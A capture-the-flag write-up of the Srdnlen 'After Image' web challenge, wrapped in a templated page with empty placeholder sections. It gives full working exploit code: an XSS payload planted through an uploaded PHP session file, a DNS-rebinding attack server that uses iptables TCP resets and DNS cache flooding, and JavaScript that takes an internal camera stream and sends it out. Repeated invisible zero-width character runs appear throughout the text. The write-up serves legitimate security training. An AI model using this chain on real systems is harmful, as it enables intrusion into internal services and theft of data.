← Back to Writeups
HTBN/AWeb

After Image

XESXOR8/23/202615 min read
#web#htb#n/a

After Image

Platform: Srdnlen | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-03-01 | Status: Solved Techniques: dns_cache_eviction_flooding, dns_rebinding_via_tcp_rst, iptables_tcp_rst_blocking, mjpeg_stream_exfiltration, php_session_file_injection, session_fixation_via_url

Summary

Task: read a flag from an internal MJPEG camera stream not accessible from outside, using a Playwright Firefox bot with 75s timeout. Solution: PHP session file injection for XSS, then DNS rebinding via rbndr.us with iptables TCP RST blocking to force DNS re-resolution after 60s Firefox cache expiry, exfiltrate MJPEG frame via shared session.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: srdnlen | ID: 20250301_srdnlen_ctf_2025_afterimage
  • Tags: dns_rebinding, xss, php_session, session_fixation, iptables, mjpeg, firefox, playwright, rbndr
  • Indicators: session.use_only_cookies=0 in php.ini, session.use_trans_sid=1, session.use_strict_mode=0, file upload to /tmp/ (same as PHP session directory), internal service not accessible from outside
  • Source: 20250301_srdnlen_ctf_2025_afterimage.md

Foothold

Vulnerability / Misconfiguration

  1. Dns_cache_eviction_flooding
  2. Dns_rebinding_via_tcp_rst
  3. Iptables_tcp_rst_blocking
  4. Mjpeg_stream_exfiltration
  5. Php_session_file_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • dns_cache_eviction_flooding
  • dns_rebinding_via_tcp_rst
  • iptables_tcp_rst_blocking
  • mjpeg_stream_exfiltration
  • php_session_file_injection
  • session_fixation_via_url
  • Tags: dns_rebinding, xss, php_session, session_fixation, iptables, mjpeg, firefox, playwright, rbndr

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Web application "LocalVault" — a PHP dashboard with profile, settings, and tokens. Behind the nginx reverse proxy there's a hidden internal security camera (Flask MJPEG stream) with the flag drawn on it. A Playwright Firefox bot visits submitted URLs and waits for 75 seconds. Goal: read data from the internal camera that's not accessible from outside.

Target URL: http://afterimage.challs.srdnlen.it

Architecture

┌─────────────────────────────────────────────────────────┐
│                   Docker Network 10.133.7.0/24          │
│                                                         │
│  ┌──────────┐    ┌──────────┐    ┌──────────────────┐   │
│  │  nginx   │    │   web    │    │     camera       │   │
│  │ :80      │───▶│ PHP 8.2  │    │ Flask MJPEG      │   │
│  │10.133.7.4│    │10.133.7.3│    │ 10.133.7.5       │   │
│  └────┬─────┘    └──────────┘    │ FLAG at (140,235)│   │
│       │                          └──────────────────┘   │
│       │ /report                                         │
│       ▼                                                 │
│  ┌──────────┐                                           │
│  │   bot    │  Playwright Firefox 146.0 (headless)      │
│  │10.133.7.2│  75s timeout, dns: 8.8.8.8                │
│  └──────────┘                                           │
└─────────────────────────────────────────────────────────┘

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • nginx (10.133.7.4:80) — reverse proxy: /report → bot, / → web app. absolute_redirect off, no server_name.
  • web (10.133.7.3) — PHP 8.2 Apache. Profile, settings, tokens. Sessions stored in /tmp/.
  • camera (10.133.7.5) — Flask. / — HTML page, /stream — MJPEG stream. Flag is drawn in white text (255,255,255) on dark background at position (140, 235) on a 640x480 image. Only accessible from inside the Docker network.
  • bot (10.133.7.2) — Playwright Firefox, visits URLs matching regex ^http://afterimage-nginx/.*$, waits 75 seconds. Rate limit: 2 requests / 60 seconds. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Vulnerability 1: XSS via PHP Session Injection

In index.php (line 22) $_SESSION['nickname'] is output without escaping:

<h1>Welcome back, <?php echo $_SESSION['nickname'] ?? 'Guest'; ?>!</h1>

However, profile.php applies htmlspecialchars() when writing via POST form. But there's a bypass: the config file is uploaded to /tmp/ with a filename that passes through preg_replace('/[^A-Za-z0-9._-]/', '_', $filename). The name sess_XXXX passes this filter, and /tmp/ is the PHP sessions directory. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key settings in php.ini:

session.use_only_cookies = 0   ; sessions via URL parameter
session.use_trans_sid = 1      ; auto-add PHPSESSID to links
; session.use_strict_mode = 0  ; default — accepts any session ID

Attack chain: upload file sess_XXXX with serialized session data → insert <script>...</script> in the nickname field → bot navigates to index.php?PHPSESSID=XXXX → PHP reads our file as a session → XSS.

Vulnerability 2: Camera Access via DNS Rebinding

The camera is only accessible at IP 10.133.7.5 inside the Docker network. No CORS headers. Direct fetch() / XHR is blocked by Same-Origin Policy. But DNS rebinding allows bypassing SOP: if the same domain first resolves to our server, then to the camera — the browser considers it the same origin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Why Other Approaches Don't Work

ApproachResult
Canvas drawImage + toDataURLTainted canvas (cross-origin image)
WebGLNot available in headless Firefox
mix-blend-mode timingFully patched in modern browsers
SVG filter timingNo measurable difference
fetch/XHR directly to cameraNetworkError (no CORS)
DNS rebinding via TTL=0Firefox minimum DNS cache — 60 seconds
iptables DROPFirefox doesn't fallback on timeout, needs TCP RST
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Infrastructure Setup

rbndr.us domain: 223d0a9a.0a850705.rbndr.us — a service that randomly (50/50) returns one of two IPs:

  • 223d0a9a = 34.61.10.154 (our GCP VM)
  • 0a850705 = 10.133.7.5 (internal camera)

GCP VM (34.61.10.154) — runs attack server (prod_server.py), which:

  • / — serves HTML with attacking JavaScript
  • /block-me — applies iptables -I INPUT -s <bot_ip> -p tcp --dport 80 -j REJECT --reject-with tcp-reset
  • /reset — removes iptables rules for the next attempt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Session Injection for XSS

Create PHP-serialized session data with JavaScript in the nickname field:

def create_session_file(fields):
    """Creates a file in PHP session serialization format."""
    data = b""
    for key, value in fields.items():
        if isinstance(value, str):
            value = value.encode("utf-8")
        data += key.encode() + b"|s:" + str(len(value)).encode() + b':"' + value + b'";'
    return data

XSS payload in nickname:

<script>window.addEventListener("load",function(){setTimeout(function(){
  var i=document.createElement("iframe");
  i.src="http://223d0a9a.0a850705.rbndr.us/";
  i.style.width="1px";i.style.height="1px";
  document.body.appendChild(i);
  // Signal that XSS loaded
  var f=new FormData();f.append("nickname","XSS_LOADED");
  f.append("save_manual","1");
  fetch("/profile.php?PHPSESSID=prodresult1",{method:"POST",body:f});
},500);});</script>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Critical: window.addEventListener('load', ...) with setTimeout — to not block the bot's 10-second goto timeout.

Upload the file via config file upload in profile.php:

files = {"config_file": (f"sess_{xss_sid}", content, "application/octet-stream")}
requests.post(f"{TARGET}/profile.php?PHPSESSID={rand_id()}", files=files)

Step 3: Triggering the Bot

Submit URL http://afterimage-nginx/index.php?PHPSESSID=XXXX to /report. Bot opens the page → PHP reads our sess_XXXX → raw HTML/JS is inserted into the page → XSS executes. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: DNS Rebinding Attack

XSS creates an iframe to http://223d0a9a.0a850705.rbndr.us/. With ~50% probability rbndr.us resolves to our VPS (34.61.10.154). The iframe loads the attack page:

Time    Event
─────   ────────────────────────────────────────────────
t=0     Iframe loads from VPS (34.61.10.154)
t=0.5   JS calls /block-me → VPS applies iptables TCP RST
t=1.5   JS creates 600 Image() with random XXXX.YYYY.rbndr.us
        (fills Firefox DNS cache with junk entries)
t=3.5   JS starts aggressive retry fetch('/')
        Each attempt: 1.5s timeout + 0.5s pause
        All attempts get TCP RST → instant failure
t≈60    Firefox DNS cache expires (network.dnsCacheExpiration = 60s)
t≈60    Firefox re-resolves 223d0a9a.0a850705.rbndr.us
        VPS responds with TCP RST → rbndr.us returns 10.133.7.5 (camera)
t≈60    fetch('/') gets camera HTML — "Internal Camera"!
t≈61    fetch('/stream') reads MJPEG stream (same origin!)
t≈62    Base64 encoding + POST to profile.php with result
t=75    Bot closes

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Why TCP RST is Critical

iptables -I INPUT -s <bot_ip> -p tcp --dport 80 -j REJECT --reject-with tcp-reset
  • TCP RST (not DROP, not ICMP REJECT) — causes instant connection failure
  • Firefox receives RST → immediately knows the server is unreachable
  • On the next attempt Firefox must make a new DNS query (after cache expires)
  • With DROP Firefox waits for timeout (~30s), not enough time in the 75-second window
  • With ICMP REJECT Firefox may retry to the same IP ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 6: DNS Cache Flooding

for (let i = 0; i < 600; i++) {
    let img = new Image();
    img.src = 'http://' + randHex8() + '.' + randHex8() + '.rbndr.us/x.png';
}

Each XXXX.YYYY.rbndr.us is a valid rbndr.us domain that resolves. This fills Firefox's DNS cache with 600 entries, helping to evict the cached entry for our rebind domain.

Important: Subdomains of a specific rbndr.us domain (like evict1.223d0a9a.0a850705.rbndr.us) DO NOT resolve. You need unique XXXX.YYYY.rbndr.us domains. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 7: Reading Camera and Exfiltration

When fetch('/') returns HTML with "Camera" / "Internal":

// 1. Read MJPEG stream
let sr = await fetch('/stream', {cache: 'no-store'});
let reader = sr.body.getReader();
let chunks = [];
let total = 0;
while (total < 100000) {
    let {done, value} = await reader.read();
    if (done) break;
    chunks.push(value);
    total += value.length;
    if (total > 10000) break;  // Enough for one JPEG frame
}

// 2. Base64 encoding
let combined = new Uint8Array(total);
let off = 0;
for (let c of chunks) { combined.set(c, off); off += c.length; }
let b64 = '';
for (let i = 0; i < combined.length; i += 768) {
    let s = combined.slice(i, Math.min(i+768, combined.length));
    b64 += btoa(String.fromCharCode.apply(null, s));
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

// 3. Save via shared PHP session
let f2 = new FormData();
f2.append('nickname', 'CAMERA_DATA');
f2.append('motto', b64.substring(0, 60000));
f2.append('save_manual', '1');
await fetch(TARGET + '/profile.php?PHPSESSID=' + RESULT_SID, 
            {method:'POST', body:f2, mode:'no-cors'});
dataSaved = true;  // Prevent overwrite by periodic flush()

Step 8: Extracting the Result

The automated script (auto_exploit.py) polls index.php?PHPSESSID=prodresult1, looking for markers CAMERA_DATA / STREAM_SENT in HTML. When found: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Extract base64 from motto
motto = extract_motto_from_html(html)
raw = base64.b64decode(motto)

# Find JPEG frame in MJPEG stream
start = raw.find(b"\xff\xd8")  # JPEG SOI marker
end = raw.find(b"\xff\xd9", start)  # JPEG EOI marker
jpeg_frame = raw[start:end+2]

with open("prod_frame.jpg", "wb") as f:
    f.write(jpeg_frame)

Full Exploit Code

auto_exploit.py (orchestrator)

#!/usr/bin/env python3
"""Auto-retry exploit for After Image CTF challenge."""

import requests
import random
import string
import time
import re
import base64
import threading
import sys
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

TARGET = "http://afterimage.challs.srdnlen.it"
VPS_IP = "34.61.10.154"
REBIND_DOMAIN = "223d0a9a.0a850705.rbndr.us"
BOT_HOST = "afterimage-nginx"
RESULT_SID = "prodresult1"


def rand_id():
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=16))


def create_session_file(fields):
    data = b""
    for key, value in fields.items():
        if isinstance(value, str):
            value = value.encode("utf-8")
        data += key.encode() + b"|s:" + str(len(value)).encode() + b':"' + value + b'";'
    return data
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


def upload_session(sid, content):
    files = {"config_file": (f"sess_{sid}", content, "application/octet-stream")}
    return (
        requests.post(
            f"{TARGET}/profile.php?PHPSESSID={rand_id()}", files=files, timeout=15
        ).status_code
        == 200
    )


def attempt():
    """Run one attempt. Returns True if successful."""
    xss_sid = rand_id()

    # Reset VPS iptables
    try:
        requests.get(f"http://{VPS_IP}/reset", timeout=5)
    except:
        pass

    # Init result session
    upload_session(
        RESULT_SID,
        create_session_file(
            {"nickname": "waiting", "bio": "", "motto": "", "theme": "light"}
        ),
    )
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    # Create XSS payload — iframe to rbndr.us domain
    xss = (
        '<script>window.addEventListener("load",function(){setTimeout(function(){'
        'var i=document.createElement("iframe");'
        'i.src="http://' + REBIND_DOMAIN + '/";'
        'i.style.width="1px";i.style.height="1px";'
        "document.body.appendChild(i);"
        'var f=new FormData();f.append("nickname","XSS_LOADED");'
        'f.append("save_manual","1");'
        'fetch("/profile.php?PHPSESSID=' + RESULT_SID + '",{method:"POST",body:f});'
        "},500);});</script>"
    )
    upload_session(
        xss_sid,
        create_session_file(
            {"nickname": xss, "bio": "test", "motto": "test", "theme": "light"}
        ),
    )
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    # Report to bot
    bot_url = f"http://{BOT_HOST}/index.php?PHPSESSID={xss_sid}"
    report_status = [None]

    def report():
        try:
            r = requests.post(f"{TARGET}/report", data={"url": bot_url}, timeout=180)
            report_status[0] = r.status_code
            if r.status_code == 429:
                m = re.search(r"(\d+) seconds", r.text)
                if m:
                    report_status[0] = int(m.group(1))
        except Exception as e:
            report_status[0] = -1
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    t = threading.Thread(target=report, daemon=True)
    t.start()
    time.sleep(5)

    if isinstance(report_status[0], int) and report_status[0] > 200:
        return "rate_limited", report_status[0]

    # Poll for results (up to 110 seconds)
    for i in range(55):
        time.sleep(2)
        try:
            html = requests.get(
                f"{TARGET}/index.php?PHPSESSID={RESULT_SID}", timeout=15
            ).text
        except:
            continue

        if any(x in html for x in ["CAMERA_DATA", "XHR_DATA", "STREAM_SENT"]):
            # Extract base64 data from motto field
            m2 = re.search(
                r"font-style: italic.*?<p[^>]*>\s*\"?(.*?)\"?\s*</p>", html, re.DOTALL
            )
            if m2:
                motto = m2.group(1).strip().strip('"')
                if len(motto) > 100:
                    raw = base64.b64decode(motto)
                    with open("prod_stream.bin", "wb") as f:
                        f.write(raw)
                    s = raw.find(b"\xff\xd8")
                    e = raw.find(b"\xff\xd9", s) if s >= 0 else -1
                    if s >= 0 and e >= 0:
                        with open("prod_frame.jpg", "wb") as f:
                            f.write(raw[s : e + 2])
                        return "success", 0
            return "data_found", 0
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    return "timeout", 0


def main():
    max_attempts = int(sys.argv[1]) if len(sys.argv) > 1 else 20
    for attempt_num in range(1, max_attempts + 1):
        print(f"\n=== Attempt {attempt_num}/{max_attempts} ===")
        result, wait_time = attempt()
        print(f"  Result: {result}")

        if result == "success":
            print(f"\n[!!!] SUCCESS! Check prod_frame.jpg")
            return
        elif result == "rate_limited":
            wait = max(wait_time, 65)
            time.sleep(wait)
            continue
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        time.sleep(65)  # Wait for rate limit


if __name__ == "__main__":
    main()

prod_server.py (attack server on VPS)

#!/usr/bin/env python3
"""DNS rebinding attack server. Runs on VPS."""

import http.server
import subprocess
import sys
import os

TARGET = "http://afterimage.challs.srdnlen.it"
RESULT_SID = os.environ.get("RESULT_SID", "prodresult1")
REBIND_DOMAIN = os.environ.get("REBIND_DOMAIN", "223d0a9a.0a850705.rbndr.us")

ATTACK_HTML = """<!DOCTYPE html>
<html><head><title>Loading...</title></head>
<body>
<script>
const TARGET = '__TARGET__';
const RS = '__RESULT_SID__';
let logs = [];
let dataSaved = false;
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

async function log(msg) { logs.push(Date.now()+':'+msg); }

async function flush() {
    if (dataSaved) return;
    let f = new FormData();
    f.append('nickname', logs.length + ' msgs');
    f.append('bio', logs.join('\\n'));
    f.append('save_manual', '1');
    try { await fetch(TARGET+'/profile.php?PHPSESSID='+RS, {method:'POST',body:f,mode:'no-cors'}); } catch(e) {}
}

async function main() {
    await log('LOADED_ON_VPS');

    // Block ourselves via TCP RST
    try { await fetch('/block-me', {mode:'cors'}); } catch(e) {}
    await new Promise(r => setTimeout(r, 1000));
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

    // Flood DNS cache with random rbndr.us domains
    function randHex8() {
        let h=''; for(let j=0;j<8;j++) h+='0123456789abcdef'[Math.floor(Math.random()*16)];
        return h;
    }
    for (let i = 0; i < 600; i++) {
        let img = new Image();
        img.src = 'http://'+randHex8()+'.'+randHex8()+'.rbndr.us/x.png';
    }

    await new Promise(r => setTimeout(r, 2000));
    await flush();

    // Aggressive retries — 65 attempts covering ~60s DNS cache window
    for (let attempt = 0; attempt < 65; attempt++) {
        try {
            let controller = new AbortController();
            let timeout = setTimeout(() => controller.abort(), 1500);
            let resp = await fetch('/', {cache:'no-store', signal:controller.signal});
            clearTimeout(timeout);
            let text = await resp.text();
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

            if (text.includes('Camera') || text.includes('stream') || text.includes('Internal')) {
                await log('CAMERA_FOUND!');

                // Read MJPEG stream
                let controller2 = new AbortController();
                let timeout2 = setTimeout(() => controller2.abort(), 15000);
                let sr = await fetch('/stream', {cache:'no-store', signal:controller2.signal});
                let reader = sr.body.getReader();
                let chunks = [], total = 0;
                while (total < 100000) {
                    let {done, value} = await reader.read();
                    if (done) break;
                    chunks.push(value); total += value.length;
                    if (total > 10000) break;
                }
                clearTimeout(timeout2);
                try { reader.cancel(); } catch(e) {}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

                let combined = new Uint8Array(total);
                let off = 0;
                for (let c of chunks) { combined.set(c, off); off += c.length; }
                let b64 = '';
                for (let i = 0; i < combined.length; i += 768) {
                    let s = combined.slice(i, Math.min(i+768, combined.length));
                    b64 += btoa(String.fromCharCode.apply(null, s));
                }

                let f2 = new FormData();
                f2.append('nickname', 'CAMERA_DATA');
                f2.append('motto', b64.substring(0, 60000));
                f2.append('save_manual', '1');
                await fetch(TARGET+'/profile.php?PHPSESSID='+RS, {method:'POST',body:f2,mode:'no-cors'});
                dataSaved = true;
                return;
            }
        } catch(e) {}
        await new Promise(r => setTimeout(r, 500));
    }
    await flush();
}
main();
</script>
</body></html>"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

blocked_ips = set()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        client_ip = self.client_address[0]

        if self.path == "/block-me":
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(b"ok")
            # TCP RST — critical for DNS rebinding
            subprocess.run([
                "iptables", "-I", "INPUT", "-s", client_ip,
                "-p", "tcp", "--dport", "80",
                "-j", "REJECT", "--reject-with", "tcp-reset"
            ], check=True, timeout=5)
            blocked_ips.add(client_ip)
            return
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        if self.path == "/reset":
            for ip in list(blocked_ips):
                try:
                    subprocess.run([
                        "iptables", "-D", "INPUT", "-s", ip,
                        "-p", "tcp", "--dport", "80",
                        "-j", "REJECT", "--reject-with", "tcp-reset"
                    ], timeout=5)
                    blocked_ips.discard(ip)
                except: pass
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"ok")
            return
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        # Serve attack page
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Cache-Control", "no-store")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        html = ATTACK_HTML.replace("__TARGET__", TARGET).replace("__RESULT_SID__", RESULT_SID)
        self.wfile.write(html.encode())

    def log_message(self, format, *args): pass

if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 80
    server = http.server.HTTPServer(("0.0.0.0", port), Handler)
    server.serve_forever()

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Diagram

Attacker                     nginx/web              Bot (Firefox)           VPS (34.61.10.154)        Camera (10.133.7.5)
    │                            │                       │                        │                        │
    │ 1. Upload sess_XSS         │                       │                        │                        │
    │   (nickname=<script>)      │                       │                        │                        │
    │──────────────────────────▶│                       │                        │                        │
    │                            │                       │                        │                        │
    │ 2. POST /report            │                       │                        │                        │
    │   url=.../index.php?       │                       │                        │                        │
    │   PHPSESSID=XSS            │                       │                        │                        │
    │──────────────────────────▶│──────────────────────▶│                        │                        │
    │                            │                       │                        │                        │
    │                            │  3. GET index.php     │                        │                        │
    │                            │◀──────────────────────│                        │                        │
    │                            │  (XSS in nickname)    │                        │                        │
    │                            │──────────────────────▶│                        │                        │
    │                            │                       │                        │                        │
    │                            │                       │ 4. Create iframe       │                        │
    │                            │                       │   rbndr.us → VPS IP    │                        │
    │                            │                       │───────────────────────▶│                        │
    │                            │                       │                        │                        │
    │                            │                       │ 5. Load attack JS      │                        │
    │                            │                       │◀───────────────────────│                        │
    │                            │                       │                        │                        │
    │                            │                       │ 6. GET /block-me       │                        │
    │                            │                       │───────────────────────▶│                        │
    │                            │                       │                        │ iptables TCP RST       │
    │                            │                       │                        │                        │
    │                            │                       │ 7. DNS flood (600 domains)                      │
    │                            │                       │                        │                        │
    │                            │                       │ 8. Retry fetch('/') ×65│                        │
    │                            │                       │───TCP RST──────────────│                        │
    │                            │                       │───TCP RST──────────────│                        │
    │                            │                       │  ... (60 seconds) ...  │                        │
    │                            │                       │                        │                        │
    │                            │                       │ 9. DNS cache expires   │                        │
    │                            │                       │   re-resolve → camera  │                        │
    │                            │                       │────────────────────────────────────────────────▶│
    │                            │                       │                        │                        │
    │                            │                       │ 10. fetch('/stream')   │                        │
    │                            │                       │   SAME ORIGIN!         │                        │
    │                            │                       │◀───────────────────────────────────────────────│
    │                            │                       │                        │                        │
    │                            │ 11. POST profile.php  │                        │                        │
    │                            │   PHPSESSID=result    │                        │                        │
    │                            │   motto=base64(mjpeg) │                        │                        │
    │                            │◀──────────────────────│                        │                        │
    │                            │                       │                        │                        │
    │ 12. Poll result session    │                       │                        │                        │
    │──────────────────────────▶│                       │                        │                        │
    │◀──────────────────────────│                       │                        │                        │
    │   (extract JPEG frame)     │                       │                        │                        │

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Technical Details

PHP Session File Format

nickname|s:42:"<script>alert(1)</script>";bio|s:4:"test";motto|s:4:"test";theme|s:5:"light";

PHP deserializes this directly from the file, bypassing htmlspecialchars() in profile.php.

rbndr.us IP Encoding

IP: 34.61.10.154 → hex: 223d0a9a
IP: 10.133.7.5   → hex: 0a850705
Domain: 223d0a9a.0a850705.rbndr.us

Firefox DNS Cache

  • network.dnsCacheExpiration = 60 seconds (hardcoded minimum)
  • Cannot bypass via TTL=0 — Firefox still caches for 60s
  • DNS cache flooding helps evict the entry earlier ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

dataSaved Flag

Without the dataSaved flag, the periodic flush() (log sending) could overwrite already saved camera data in the session. A critical bug fixed in the final version.

Success Probability

  • ~50% that rbndr.us first resolves to VPS (needed for loading JS)
  • ~50% that after DNS cache expiry it resolves to camera (VPS blocked by TCP RST)
  • Total: ~25% per attempt, usually 2-4 attempts to succeed
  • Rate limit: 2 requests / 60 seconds → ~3-5 minutes for a successful attack ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR